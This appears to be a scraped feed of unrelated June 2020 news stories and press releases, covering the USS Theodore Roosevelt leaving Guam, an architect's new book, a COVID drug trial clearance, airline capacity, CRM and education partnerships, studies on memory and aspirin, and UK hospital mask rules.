When Theodore Roosevelt departed from Naval Base Guam, they manned the rails as a gesture of gratitude and thanksgiving to honor the people of Guam, the service members, and civilians who supported the recovery of the crew during the COVID-19 pandemic.

"Every recovered Sailor we embark is another victory against COVID," said Sardiello. "We remain dedicated to the recovery of every TR Sailor. Those ashore will continue to receive the best medical care by military medical representatives. We greatly appreciate the continued support by Naval Base Guam, U.S. Naval Hospital Guam and Expeditionary Medical Facility from Camp Pendleton."

Theodore Roosevelt is the nation's fourth Nimitz-class aircraft carrier with a crew of nearly 5,000 Sailors who support and conduct air operations at sea. Theodore Roosevelt departed San Diego for a scheduled Indo-Pacific deployment January 17.

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Architect William Hefner's Brise Soleil in Beverly Hills. (James Ray Spahn)

In his upcoming book, California Homes II, architect William Hefner showcases six years of work, ranging from modern and sleek to historic and rustic, all celebrating his holistic approach to design and the spirit of Southern California.

His namesake Studio William Hefner, located in Los Angeles, has increased its range of modern projects and opened an office in Montecito, all while expanding its horizons across the regions cinematic landscape of canyons, palisades and grand Old Hollywood neighborhoods, as Hefner writes in the book, which features architecture, interior design and landscape design by the firm, founded in 1989.

We have 10 projects in it, and I spent almost two years working on every detail, Hefner said of the 400-page opus, set for release this month. Its predecessor, California Homes, also from Images Publishing Group, came out in 2013.

Hefner describes his style, whether the design is contemporary or traditional, as combining luxury and simplicity  tailored and restrained" but not austere.

"There's nothing monastic about what we do," Hefner said. "There's enough detail and complexity happening visually that it feeds you, in a way.

"I'm more concerned with things being classic and timeless than trendy, if possible," he added. "I really like trying something that we've never really tried before, but dialing it into something that will resonate for people."

Such was the case with one of the ambitious projects featured in the book, the playful yet slick Brise Soleil. The modern Beverly Hills abode features heat-protective metal louvers, whimsical pink-and-mint glass panels and a massive L-shaped pool wrapped around a backyard lounge, creating an 82-foot swimming lane.

When we asked the owner what he was looking for, he said, 'I just want something really out of the box.' I mean, what client tells you that? That was a real dream project, Hefner said.

Story continues

Another example, Romero Canyon in Montecito, was the realization of a more personal dream for the architect, one shared with his late wife and longtime creative partner, Kazuko Hoshino. She died in April.

A rustic family home hugged by the Santa Catalina Mountains and 200-year-old California live oak trees, it groups neighboring structures into a compound to share with family and friends.

How did you get your start as an architect?

When I was a kid I used to sketch floor plans; it was a no-brainer, it just seemed like what I would always do. I ended up going to graduate school at UCLA and for eight years designed high-rise buildings all over the world for an international company called Skidmore, Owings & Merrill. It was a good education, but it wasn't what I loved, so I started doing homes. Almost 30 years  a long time.

Where do you pull inspiration for your work?

Probably travel; remember those days when we could do that? After graduate school I lived in Greece for a year, and as a kid lived in Ireland for a summer. Kazuko and I were married for a while before we had kids and would just take off and go whenever there was sort of a lull in work. Because of her being from Japan, we traveled a lot through Asia  Vietnam, Singapore, Bali. And also in Europe.

Tell me about your environmental building and sustainable architecture practices.

Sustainability is important to us, and we were fortunate to get a good lesson in green building and design on a house we did for [actor and passionate environmentalist] Ed Begley Jr. It was really fun because he had very lofty goals  everything had to be sustainable and off the grid. Planting and irrigating were OK only if it grew food; we had rainwater catchment, gray water, lots of solar panels and battery backup. It was like a post-graduate degree, in a way, and a tremendous learning experience that Ive tried to apply to other projects over the last couple of years.

You also do historical restoration work.

I've lived in Hancock Park for the last 25 years, and it's been really satisfying taking a house that is almost 100 years old and modernizing the floor plan a bit, without losing the character. I think we've done over 20 restoration projects in the last few years for ourselves and other people  my art history background has paid off doing that. It's a really fun part of our practice, and much better in terms of environmental impact.

How did you and Kazuko meet and end up working together as designers?

We met about five years into my own practice. After five years of being married, I dared to ask the "what if we worked together" question, being a little afraid of the whole thing. I thought that proposal was riskier than the first one. The office was growing, and I couldn't really cover the interiors, the architecture and the landscape all myself, so it was great timing. Then she came in and led that part of the firm.
VANCOUVER, British Columbia, June 04, 2020 (GLOBE NEWSWIRE) -- Algernon Pharmaceuticals Inc. (CSE: AGN) (FRANKFURT: AGW) (OTCQB: AGNPF) (the Company or Algernon) a clinical stage pharmaceutical development company, is pleased to announce that it has received, on June 3rd, 2020, clearance from the U.S. FDA for its recently submitted Investigational New Drug (IND) application for its planned multinational Phase 2b/3 study of its re-purposed drug NP-120 (Ifenprodil) as a potential therapeutic treatment for patients with COVID-19. Ifenprodil is an NMDA receptor antagonist.



The clinical study for Ifenprodil is entitled, "A Randomized Open Label Phase 2b/3 Study of the Safety and Efficacy of NP-120 (Ifenprodil) for the Treatment of Confirmed COVID-19 Infected Hospitalized Patients." As part of the multinational Phase 2b/3 COVID-19 clinical study, Algernon has already received clearance in Canada and has also filed for ethics approval in Australia.

We very much appreciated the timely responses that we have received from the U.S. FDA since we first began working with the agency on our COVID-19 clinical trial program, said Christopher J. Moreau, CEO of Algernon Pharmaceuticals Inc. We have already begun the background work to start the Phase 2 trial in the U.S. and other countries as soon as possible and we will update the market shortly on our planned timelines.

The Company cautions that while it is preparing to begin Phase 2 clinical trials shortly, it is not making any express or implied claims that Ifenprodil is an effective treatment for acute lung injury (ALI), the COVID-19 virus, or any other medical condition at this time.

Phase 2b/3 Study Summary:

Once local ethics approvals have been received, the trial will begin as a Phase 2b study of an aggregate of 100 patients and with positive preliminary data, the clinical trial will move directly from a Phase 2b into a Phase 3 trial. The data will determine the number of expected patients needed to reach statistical significance in the Phase 3 trial.

Patients will be randomized in a one-to-one manner and will either be treated using an existing standard of care, or standard of care plus a 20mg dose of Ifenprodil taken three times a day for two weeks.

Over the testing period, doctors will observe whether there is an improvement in a number of secondary endpoints, including mortality, blood oxygen levels, time spent in intensive care and time to mechanical ventilation.

About NP-120 (Ifenprodil)

NP-120 (Ifenprodil) is an N-methyl-D-aspartate (NMDA) receptor antagonist specifically targeting the NMDA-type subunit 2B (Glu2NB). Ifenprodil prevents glutamate signalling. The NMDA receptor is found on many tissues including lung cells, T-cells, and neutrophils.

The Company believes NP-120 can reduce the infiltration of neutrophils and T-cells into the lungs where they can release glutamate and cytokines respectively. The latter can result in the highly problematic cytokine storm that contributes to the loss of lung function and ultimately death as has been reported in COVID-19 infected patients.

About Algernon Pharmaceuticals Inc.

Algernon is a drug re-purposing company that investigates safe, already approved drugs for new disease applications, moving them efficiently and safely into new human trials, developing new formulations and seeking new regulatory approvals in global markets. Algernon specifically investigates compounds that have never been approved in the U.S. or Europe to avoid off label prescription writing.

Algernon has filed new intellectual property rights globally for NP-120 (Ifenprodil) for the treatment of respiratory diseases and is working to develop a proprietary injectable and slow release formulation.

CONTACT INFORMATION

Christopher J. Moreau

CEO

Algernon Pharmaceuticals Inc.

604.398.4175 ext 701

info@algernonpharmaceuticals.com

investors@algernonpharmaceuticals.com

www.algernonpharmaceuticals.com.

The CSE does not accept responsibility for the adequacy or accuracy of this release.

Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. The Canadian Securities Exchange has not in any way passed upon the merits of the proposed transaction and has neither approved nor disapproved the contents of this press release.

CAUTIONARY DISCLAIMER STATEMENT: No Securities Exchange has reviewed nor accepts responsibility for the adequacy or accuracy of the content of this news release. This news release contains forward-looking statements relating to product development, licensing, commercialization and regulatory compliance issues and other statements that are not historical facts. Forward-looking statements are often identified by terms such as will, may, should, anticipate, expects and similar expressions. All statements other than statements of historical fact, included in this release are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Companys expectations include the failure to satisfy the conditions of the relevant securities exchange(s) and other risks detailed from time to time in the filings made by the Company with securities regulations. The reader is cautioned that assumptions used in the preparation of any forward-looking information may prove to be incorrect. Events or circumstances may cause actual results to differ materially from those predicted, as a result of numerous known and unknown risks, uncertainties, and other factors, many of which are beyond the control of the Company. The reader is cautioned not to place undue reliance on any forward-looking information. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement. The forward-looking statements contained in this news release are made as of the date of this news release and the Company will update or revise publicly any of the included forward-looking statements as expressly required by applicable law.


Leisure travel is likely to rebound before business trips as many people continue to work from home, analysts say.

Airlines from the United States to Australia are ramping up flights in June and July, boosting hopes for a pickup in tourist traffic even as bigger-spending business and global travel remain sluggish during the ongoing coronavirus pandemic.

American Airlines and United Airlines each announced more flights to key US business and leisure destinations where national parks and outdoor recreational spaces are reopening after months of lockdowns and travel curbs, sending their shares sharply higher.

American Airlines said it plans to increase flights by 74 percent in July compared to this month.

The busiest days next month will have about 4,000 flights, up from 2,300 in June, said Vasu Raja, Americans senior vice president of network strategy. The July figure is equivalent to 40 percent of capacity a year earlier, compared with 30 percent in June, the airline said on Thursday. Capacity was even less in May, after a devastating collapse in flying spurred by the coronavirus pandemic.

People are hungry, eager to get back into the economy, Raja told the Bloomberg news agency. We feel a real confidence to fly a much bigger July.

Chicago-based United is adding more non-stop flights as well as servicing markets like Aspen, Colorado and Jackson Hole, Wyoming where it said social distancing is a natural feature in the scenic landscapes.

Leisure travel has been the most missed activity during lockdown across age and income demographics, even more so than things like restaurants, Jason Guggenheim of Boston Consulting Group, which has surveyed consumers in the US and Europe, told the Reuters news agency.

But its going to take business travel longer to come back, he said, noting work-from-home models will remain in place for some time.

Even with the scheduled increases, analysts expect overall US airline capacity will remain drastically lower this year compared to 2019; and without business travel, yields will likely remain negative, they said. Yield is the revenue an airline makes per mile flown and a measure of profitability.

Australias Qantas Airways Ltd and Air New Zealand Ltd outlined plans on Thursday for significant boosts to domestic capacity, while Emirates and Etihad Airways are restarting transit flights through hub airports in Abu Dhabi and Dubai.

In Europe, Iberia  part of the International Consolidated Airlines Group  told customers on Thursday that it is starting a schedule of regular flights from Spain in July as a first step towards building back a full service.
[June 05, 2020] Sales CRM Pipedrive to strengthen its position in South Korea

NEW YORK, June 5, 2020 /PRNewswire/ -- Pipedrive, the #1 user-rated CRM software, aims to significantly expand its customer base among South Korean small and medium-sized enterprises in the coming months. As part of its growth strategy, Pipedrive has been included in the South Korean government-run 2020 Cloud Acceleration Program, which enhances Pipedrive's competitiveness in the country. According to Arho Anttila, Pipedrive's General Manager for Asia and Africa, Pipedrive sees great potential in South Korea as it is the fourth-largest economy in Asia and a digital frontrunner in the area. As Pipedrive's master reseller Hashnap was selected for the government's Cloud Acceleration Program, they can offer Pipedrive to Korean customers with an up to 70% discount. "This is an important step for us in strengthening Pipedrive's position in South Korea. We are very excited about this development and eager to support Korean sales and marketing professionals with our generous suite of smart marketing and sales management tools that are reasonably priced and easy to use." South Korea's national Cloud Acceleration Program promotes the adoption of cloud-based solutions in small and medium-sized enterprises. Every cloud-based software that is chosen for the Cloud Acceleration Program will be eligible to be listed in the directory run by the National IT Industry Promotion Agency ( NIPA ). "Being listed in the NIPA directory gives Pipedrive a mark of authenticity and credibility in the South Korean market, which increases Pipedrive's competitiveness and helps to attract new Korean customers," said Daniel Lee, the CEO of Pipedrive's master reseller Hashsnap. Besides Pipedrive, the NIPA directory contains seeral well-known cloud-based software such as Dropbox, Zapier, and Google Cloud Computing.



According to Lee, although South Korea is one of the best-connected countries in the world with almost 96% of the population using the internet , the country has a long way to go in cloud computing, especially for SMEs. "Many SMEs continue to shun the technological progress towards cloud computing. As 90% of the companies in South Korea are SMEs, a vast majority of employees are still far from cloud computing and miss out on its benefits, such as reduced costs, easy setup, and reliability." Pipedrive is fully localized into the Korean language at https://www.pipedrive.com/ko .

Today, Pipedrive is already helping more than 90,000 companies worldwide to get more qualified leads into their pipelines and take quicker action on the most promising deals. Pipedrive has been recognized as easiest to use CRM by Motley Fool, and ranked #1 by Software Reviews. A third-party analysis shows Pipedrive is also rated as one of the most popular CRMs with its users. About Pipedrive Inc.

Founded in 2010, Pipedrive is the first CRM platform developed from the salesperson's point of view. Today, Pipedrive is used by sales teams at more than 90,000 companies worldwide. Pipedrive, the top-rated CRM, is headquartered in New York, and has offices in London, Lisbon, Prague, Riga, Dublin, Tallinn, Tartu, and St. Petersburg, Florida. Learn more at www.pipedrive.com . About Hashsnap

Hashsnap is a South Korean software company that has been providing social media marketing services since 2017. As a Facebook Media Solution Partner, it has been working with more than 300 brands and agencies around the world. Hashsnap has been diversifying its business by becoming Pipedrive's master reseller in South Korea. Learn more at https://hashsnap.net. View original content to download multimedia:http://www.prnewswire.com/news-releases/sales-crm-pipedrive-to-strengthen-its-position-in-south-korea-301071254.html SOURCE Pipedrive

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This bridge of silence toppled Wednesday, when Mattis released a statement expressing the rage he has long felt as he watched Trump demean the military and its professionalism. Mattis wrote for the history books: Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead, he tries to divide us. We are witnessing the consequences of three years of this deliberate effort.
MOUNTAIN VIEW, Calif., June 5, 2020 /PRNewswire/ -- Study.com, a leading online education platform, announced a partnership with the Drucker Institute to provide upskilling opportunities for South Bend, Ind., residents through a new lifelong learning system called Bendable.

As one of the largest content providers on the Bendable site, Study.com offers stackable courses ranging from digital skills, to finance knowledge, to job readiness.

"For too many people, learning ends when they finish their formal schooling," said Rick Wartzman, head of the Drucker Institute's KH Moon Center for a Functioning Society. "Increasingly, however, economic opportunityas well as dignityhinges upon lifelong learning. The incredible breadth and depth of content that's offered by Study.com will help ensure that South Bend residents have access to the kinds of learning opportunities that they'll need to thrive in the face of a fast-changing economy and, now, COVID-19."

Study.com has more than 79,000 lessons, and the courses available on Bendable cover multiple subjects and target specific upskilling needs requested by employers and residents in South Bend. The online and mobile-first capabilities of Study.com also provide an easier medium for access, which helps close the device divide and provide broader access for learning.

"I am excited to partner with the Drucker Institute to make an impact in the region," said Adrian Ridner, CEO and Co-founder of Study.com. "The organization has a great history of taking on big challenges with innovative initiatives, and it's great to be part of this one."

The Drucker Institute plans to expand Bendable to another 10 to 15 cities over the next five years. Meanwhile, in South Bend, the St. Joseph County Public Library will administer and steward Bendable. The platform, Bendable.com, is fully available to South Bend residents starting today.

About the Drucker Institute

The Drucker Institute is a social enterprise based at Claremont Graduate University. Its mission is strengthening organizations to strengthen society. Its programs help corporate, nonprofit, government and community leaders manage with courage. For more, visit https://drucker.institute/.

About Study.com

Study.com is a leading online education platform helping learners of all ages excel academically and close skills gaps. Study.com's online courses, short animated video lessons, and study tools make learning simple for over 30 million students, teachers, and working professionals. Study.com was founded in 2002 and is a privately held company located in Mountain View, Calif. Learn more at http://www.study.com or download the mobile app from the iOS app store or Google Play.

SOURCE Study.com

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WASHINGTON -- Education appears to protect older adults, especially women, against memory loss, according to a study by investigators at Georgetown University Medical Center, published in the journal Aging, Neuropsychology, and Cognition.

The results suggest that children--especially girls--who attend school for longer will have better memory abilities in old age. This may have implications for memory loss in Alzheimer's disease and other dementias.

The study tested declarative memory in 704 older adults (58-98 years of age). Declarative memory refers to our ability to remember events, facts, and words, such as where you put your keys or the name of that new neighbor.

Participants were shown drawings of objects, and then were tested several minutes later on their memory of these objects. The investigators found that their memory performance became progressively worse with aging. However, more years of early-life education countered these losses, especially in women.

In men, the memory gains associated with each year of education were two times larger than the losses experienced during each year of aging. However, in women, the gains were five times larger.

For example, the declarative memory abilities of an 80-year-old woman with a bachelor's degree would be as good as those of a 60-year-old woman with a high school education. So, four extra years of education make up for the memory losses from 20 years of aging.

"Simply said, learning begets learning" says the study's senior investigator, Michael Ullman, PhD, a professor in Georgetown's Department of Neuroscience and Director of the Brain and Language Lab. Ullman's research on the relationship between language, memory and the brain has been a cornerstone in the fields of language and cognitive neuroscience.

"Since learning new information in declarative memory is easier if it is related to knowledge we already have, more knowledge from more education should result in better memory abilities, even years later," adds the study's lead author, Jana Reifegerste, PhD, a member of the scientific staff at the University of Potsdam, Germany, who worked on this study as a postdoctoral researcher in Ullman's lab.

"Evidence suggests that girls often have better declarative memory than boys, so education may lead to greater knowledge gains in girls," says Ullman. "Education may thus particularly benefit memory abilities in women, even years later in old age."

The study tested individuals in a non-Western (Taiwanese) population. Participants varied in the number of years of education, from none at all to graduate studies. Future research is needed to test whether the findings generalize to other populations, Ullman says.

"These findings may be important, especially considering the rapidly aging population globally," Reifegerste says. "The results argue for further efforts to increase access to education."

"Education has also been found to delay the onset of Alzheimer's disease," Ullman says. "We believe that our findings may shed light on why this occurs."

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This work was supported by grants from the National Institutes of Health (R01 AG016790, AGO16661), the National Science Foundation (BCS1439290), a Georgetown Partners in Research grant, and the Graduate School of Arts and Sciences.

The authors report having no personal financial interests related to the study.

About Georgetown University Medical Center

As a top academic health and science center, Georgetown University Medical Center provides, in a synergistic fashion, excellence in education -- training physicians, nurses and other health care professionals, as well as biomedical scientists -- and cutting-edge interdisciplinary research collaboration, enhancing our basic science and translational biomedical research capacity in order to improve human health. Patient care and clinical research is conducted with our clinical partner, MedStar Health. GUMC's mission is carried out with a strong emphasis on social justice and a dedication to the Catholic, Jesuit principle of cura personalis -- or "care of the whole person." GUMC comprises the School of Medicine, the School of Nursing & Health Studies, Biomedical Graduate Education, and Georgetown Lombardi Comprehensive Cancer Center. Designated by the Carnegie Foundation as a "very high research activity university," Georgetown is home to a Clinical and Translational Science Award from the National Institutes of Health, and a Comprehensive Cancer Center designation from the National Cancer Institute. Connect with GUMC on Facebook (Facebook.com/GUMCUpdate) and on Twitter (@gumedcenter).
The National Guard helicopter crew that flew low over protesters in the nation's capital this week has been grounded, the Army secretary told reporters Friday.

The Army initiated an administrative investigation, called a 15-6, after a UH-72 Lakota was seen making low maneuvers in Washington, D.C., on Monday, Army Secretary Ryan McCarthy said. The crew was grounded immediately after the investigation began, he added.

Read next: 'Only African American in the Room:' Next Air Force Chief of Staff Speaks Out on Racism in Ranks

"It's an administrative automatic when you initiate a 15-6," McCarthy said. "It's procedure."

The defense secretary and head of the National Guard in D.C. both ordered an investigation into the matter. McCarthy said he expects it to wrap up soon.

"I'm going to get an interim update later today," he said.

The incident is one of several apparent shows of force that have come under scrutiny this week amid national protests after George Floyd, a black man, died in police custody in Minneapolis. McCarthy said he has not had any direct reports of Army or Air National Guardsmen activated in Washington being violent against peaceful protesters.

Videos showed Lakota and UH-60 Black Hawk helicopters kicking up debris as officials tried to force demonstrators who'd broken the city's 7 p.m. curfew off the streets. The Black Hawks were reportedly operated by the FBI.

McCarthy declined to say who ordered the helicopter crews to fly low over the protesters in Washington, citing concerns that he's in the chain of command and the investigation remains ongoing.

"We're going to try to get it closed  as quickly as possible," he said.

Maj. Gen. William Walker, the head of the D.C. National Guard, said when announcing the investigation that he wants to ensure all involved complied with safety regulations and procedures.

"I hold all members of the District of Columbia National Guard to the highest of standards," he said in a statement. "We live and work in the District, and we are dedicated to the service of our nation."

-- Gina Harkins can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins.

Related: Army, DC Guard Investigating After Military Helicopters Buzz Protesters in DC
Daily aspirin could be a killer for some, rather than a cure, according to a new study.

Research shows the risk of internal bleeding in healthy people may be greater than any potential benefit, such as preventing heart disease.

One of the report's authors, Dr. Trevor Thompson of the University of Greenwich, said: "Aspirin is good if you've been identified as at risk of cardiovascular problems. If not, the risks outweigh any potential benefits. Our analysis found a much-increased risk of bleeding on the brain or in the stomach, which could be fatal."

The review of existing research has been published in the British Journal of Clinical Pharmacology.

It looked at 67 different reviews and found that a small dose (less than 325milligrams a day, roughly one tablet) for people without cardiovascular disease was associated with a 17% lower incidence of cardiovascular problems, such as heart attack or stroke.

In contrast, there was also a 47% higher risk of gastrointestinal bleeding and a 34% higher risk of bleeding in the skull.



This is something that people may be doing every day that can cause unnecessary harm. Our study shows that an aspirin a day should only be taken by people who have a cardiovascular condition or have been told by a doctor that they are in danger of developing one." Dr. Trevor Thompson, Study Author, University of Greenwich

The report also looked at research that said aspirin could help prevent cancer but found the risks again outweighed the benefits.
Matt Hancock's plan to make face coverings compulsory in hospitals for all staff, visitors and outpatients from June 15 was made 'without any notice or consultation', a furious NHS boss has said, as other frontline workers slammed the 'pointless' announcement.

Medical and other staff will have to wear surgical masks at all times, the Health Secretary said last night, while visitors and outpatients attending appointments will not be allowed in without wearing the sort of face coverings that can be made at home.

However, it has sparked fury from leaders in the health service, as Chris Hopson, CEO of NHS Providers accused the Government of 'rushing' decisions, which he said were 'overly influenced by politics and the need to fill the space at the Downing Street press conferences'.

Other health workers took to social media to vent frustration, some angry at the apparent lack of communication and others that the policy wasn't rolled out three months ago, at the start of the outbreak.

Staff also questioned the practicalities of having to wear a face mask while in areas such as canteens.

It comes as rail unions have threatened to strike after claiming they too weren't consulted over plans for an 'army' of volunteers to hand out free face masks before wearing coverings becomes compulsory on public transport.

Medical and other staff will have to wear surgical masks at all times, the Health Secretary announced last night

Chris Hopson, CEO of NHS Providers, pictured, accused the Government of 'rushing' decisions which he said were 'overly influenced by politics'

Chris Hopson, CEO of NHS Providers, tweeted that the change was announced 'without any notice or consultation'

Militant union chiefs vow to strike over government's plan for volunteer 'army' to hand out free face masks on London Tubes Railway workers could strike over government plans for an 'army' of volunteers handing out free masks on the London Underground. Wearing face coverings on public transport will be mandatory by June 15, but the RMT union says the volunteer policy, announced by transport secretary Grant Shapps, was made without consulting staff and is considering taking action in response. A passenger, pictured yesterday, wears a face mask on the Central Line of the underground More than a million masks will be distributed at the capital's busiest Tube and bus stations on Monday before the mandatory rules kick on the following week. 'We are going to have thousands of people from the British Transport Police, Network Rail, Transport for London and actually a whole army of volunteers from a volunteer organisation, who are going to be called journey makers, who will help to remind people,' Mr Shapps said. 'They will be wearing purple tabards and they will remind you to put your face covering on.' In a letter earlier this week, the RMT said it was 'furious' that a 'backroom deal' had been done to recruit volunteers 'without even so much as conversation with rail unions'. The union's general secretary Mick Cash said: 'There is a real danger that the Government and the Rail Delivery Group are sending out a signal that as long as you cover your face you are safe to head back onto the tubes and trains regardless of whether you are an essential worker making an essential journey. RMT General Secretary Mick Cash, pictured in 2016, says his union was not consulted over the proposals and is balloting members for strike action 'It's also clear that the Government and industry bosses are expecting our members to police this policy. 'That will put over-stretched rail workers right in the front line once again and will leave them at risk of being abused, assaulted and spat at by aggressive passengers refusing to comply.' Announcing the new rules earlier this week, Mr Shapps said face coverings will be a 'condition of travel' and failure to abide by the requirement could potentially lead to fines. Young children and people with disabilities will be exempt. Advertisement

In a furious tweet, Mr Hopson wrote: 'How, as a Government, do you really irritate NHS trust CEOs at the end of another difficult, busy, hard, week? A. Announce two major operational policy changes on visiting and PPE usage at 1700 on a Friday afternoon without any notice or consultation. They are not amused!'

Speaking on BBC Radio Four's Today programme, he added: 'Two major changes on the use of PPE and on visiting policy were announced late yesterday afternoon at the end of what, to be a frank, was a busy, difficult and hard week for our trust leaders, with absolutely no notice or consultation.

'I think it's the latest in a long line of announcements that have had a major impact on the way the NHS operates in which those organisations feel they have been left completely in the dark and they are then expected to make significant or complex operational changes either immediately or with very little notice.

'The Government asks our trust leaders to professionally lead 800,000 staff and to interact with a million patients every 36 hours but they just can't do that job properly if they're on the end of rushed out Friday afternoon announcements that they actually know very little about.

'Trust leaders tell us it's part of a systematic pattern where there isn't enough strategy or planning. They're not being involved and consulted on the key decisions and that it feels like last-minute decisions are being made on the hoof that seem overly influenced by politics and the need to fill the space at the Downing Street press conferences.

'Everybody recognises when we started this pandemic back in March there were going to need to be a number of very quick decisions that were made and people were happy to go with the flow.

'But here we are three months later, where we really need to get into a proper, sensible forward plan and forward strategy of what we're trying to do, where trust are given the time and space they need to do complex and difficult things.'

The Department of Health insists NHS England was fully aware of last night's announcement and that bosses have more than a week to prepare, but Mr Hopson said many questions still remained.

'Potentially 1.2 million NHS staff are now being asked to wear face masks. Does that apply to every single site and building in the NHS where there is no patient-facing activity? How many masks as a trust leader will you need? What backup, buffer stock will you need? Have you got enough space to store that stock? Where are you going to issue the masks from? Are you issuing the supply to every member of staff each day, each week, each fortnight?

'If you've got 250 sites on your trust, how do you regularly get the stock to each of your sites? If this is part of your formal responsibility as a trust leader, which they take really seriously to provide a safe working environment, what assurances do you need to put into place?

'Our political leaders need to understand that running these organisations is a complex and difficult task and what you can't do is turn on a sixpence and do stuff like giving every single member of staff a face mask without being prepared for it, and without being sure you've got the masks you need to ensure that requirement is met.

'If you want the NHS to treat our staff and support them properly, if you want them to be able to give patients the right answer to questions they might have, you need notice.

'What particularly frustrates people is that this is a pattern. Six days ago, the advice on shielding patients completely changed overnight and a whole bunch of patients started ringing up GPs and saying 'how does this affect me? What's the difference now?' GPs knew nothing about these changes, the first they heard of them was when they were announced and they were frustrated.'

In other developments to Britain's coronavirus crisis today:

Care homes are still waiting for Covid tests after weeks of asking - as government rushes out kits to all residences where people are all aged over 65

Boris Johnson is drawing up a 'Great Recovery Bill' to slash red tape and help get the economy moving again

Militant union chiefs vow to strike over government's plan for volunteer 'army' to hand out free face masks on London Tubes

Matt Hancock warns protesters not to gather at George Floyd demonstrations this weekend amid fears they are spreading the virus

WHO finally says everyone should wear a mask while in shops, on public transit or anywhere you can't keep six feet apart

Prince William and Kate Middleton reveal they've been secretly answering crisis helpline calls and phoning people who are vulnerable during the pandemic

Health Secretary says country could have localised restrictions after data reveals the crucial R rate is above 1 in North West and South West

Other hospital workers have also been left frustrated by the news, as they took to social media last night and this morning.

NHS staff member Maggie Mannifield wrote: 'Nice to find out I have to wear a mask at work via a daily briefing.....been feeling worried about working in a hospital since March, and using the same toilets, canteen, stair rails, lifts etc and touching doors....the only way I would catch it is at work with doing nothing else.'

Another frontline worker, JoJo Quinn questioned why the rule had not been brought in sooner.

She said: 'So I caught Covid in March and @MattHancock is now saying I have to wear a mask at work as I work in a hospital. Why did you not make this needed for all staff in march and perhaps i wouldn't have caught it #TooLittleTooLate #Covid19UK'.

In another tweet, she added: 'I have been working in non clinical area of my hospital for past 3 months. We are only allowed 3 in a room where usually was 5 as we work from home some days but wondering why I never had to wear a mask before now. Yet most of us caught Covid in our dept. It's too late.'

A user under the name of The Witchy Woman shared a similar sentiment, writing: 'I am now required to wear a mask at work (I'm in a hospital). Even at the peak of infection this wasn't required. Seems pointless now. I have serious concerns, most don't use single use masks but washable one and I doubt hygiene is up to scratch.'

Geriatrician Emily McNicholas, from South Yorkshire, added: 'If we now have to wear a mask at all times in the hospital, how does eating in the canteen work??'

NHS workers took to social media to react to the announcement that masks must be worn at all times

The Health Secretary's announcement came after a similar move on Thursday, when it was revealed face coverings would be compulsory on public transport from the same day.

Mr Hancock said the move was required to protect all hospital workers as NHS units gradually reopen their doors for procedures that were delayed by the coronavirus response.

'As the NHS reopens right across the country, it's critically important to stop the spread amongst staff, patients and visitors too,' he said.

'So today we're setting out that all hospital visitors and outpatients will need to wear face coverings.

'One of the things that we've learnt is that those in hospital, those who are working in hospital, are more likely to catch coronavirus whether they work in a clinical setting or not.

'And so to offer even greater protection we're also providing new guidance for NHS staff in England which will come into force again on June 15 and all hospital staff will be required to wear type one or two surgical masks.

Mr Hancock also revealed he had donated blood plasma to an antibody trial in London today (pictured)

'And this will cover all staff working in hospital, it will apply at all times - not just when they are doing life-saving work on the frontline - and it will apply in all areas, except those areas designated as Covid-secure workplaces.'

It came as newly updated World Health Organisation (WHO) advice advised people to wear homemade fabric masks in public where social distancing is not possible.

The WHO previously stressed there was no evidence that wearing a mask - whether medical or other types - by healthy people in the wider community could prevent them from infection with respiratory viruses, including Covid-19.

However, it said 'evolving' new science now pointed to the use of medical-grade masks in hospital settings - even for those not treating coronavirus patients - as well as similar protection worn by people aged 60 or over, or with underlying health conditions, when outside of their home where social distancing was not possible.

Mr Hancock said the Government was upgrading the guidance to ensure that 'even as the virus comes under control' hospitals are a place of 'care and of safety'.

'We've also strengthened infection control in care homes and we're working with the social care sector on how this approach can apply appropriately in social care too.

'It's about protecting the NHS and social care, which means protecting our colleagues who work in the NHS and in social care.'

Hancock walks the walk as he urges public to follow his example and donate blood plasma Matt Hancock encouraged people who had recovered from coronavirus to donate their blood plasma - as he revealed he had made a donation. He said: 'If you have had the virus, then you can help make a difference. Because by donating your plasma from your blood that has your antibodies in it, then you can help somebody who is currently suffering in hospital with coronavirus. 'I did this earlier today, I gave my antibodies, and the process is simple, it's straightforward. 'If you have had coronavirus, if you go to the NHS blood and transplant website... then you too can donate your antibodies and help protect somebody who is currently in hospital with coronavirus. 'And I'd encourage anybody who can do that to step forward.' Advertisement

Earlier, a senior Government minister rejected calls to force shoppers to wear face coverings - as medics demanded that strict rules forcing their use on public transport be brought in immediately.

Transport Secretary Grant Shapps, who last night revealed that commuters face 80 for not wearing them from June 15, said this morning they were not required in other settings because people spend little time in close proximity.

It came after the head of the British Medical Association, Dr Chaand Nagpaul, said the compulsory wearing of face coverings should be introduced in 'all areas' where social distancing is not possible, and should start immediately.

Only a handful of Tube users wore masks at rush hour today as Dr Nagpaul warned delaying the 80 fines will only make the spread of coronavirus worse.

Commuters again packed on to the London Underground and were forced to break social distancing rules on the Jubilee Line, which runs through the heart of the capital.

The BMA head said face covers 'should not be restricted to public transport', raising the prospect of masks also becoming compulsory in shops, restaurants and pubs.

The Government has previously said that it plans for non-essential retailers to reopen from June 15.

Government advisers warned in February that PHE's contact tracing capacity would be 'exhausted' in TWO WEEKS Public Health England only had enough contact-tracing capacity to last two weeks before it became 'exhausted', scientists warned in February. Experts said capacity should be increased immediately but admitted it could only be expanded about 10-fold, to contact 8,000 people per day, which still wouldn't be enough. A batch of scientific papers submitted to the Government's SAGE committee were published today and reveal more of what officials were being told in the early stages of the UK's epidemic. Researchers said there was 'no evidence' that stopping shaking hands would reduce transmission of the virus, shortly after Prime Minister Boris Johnson was ridiculed for continuing to use the greeting. Advertisement

But Mr Shapps said High Street browsing was 'clearly not the same' as being on a bus or train for a sustained period of time.

He told the BBC: 'I think the big difference is in a shop you may well pass somebody and the guidance acknowledges you might be near somebody for a short period of time but then you are going to move on.

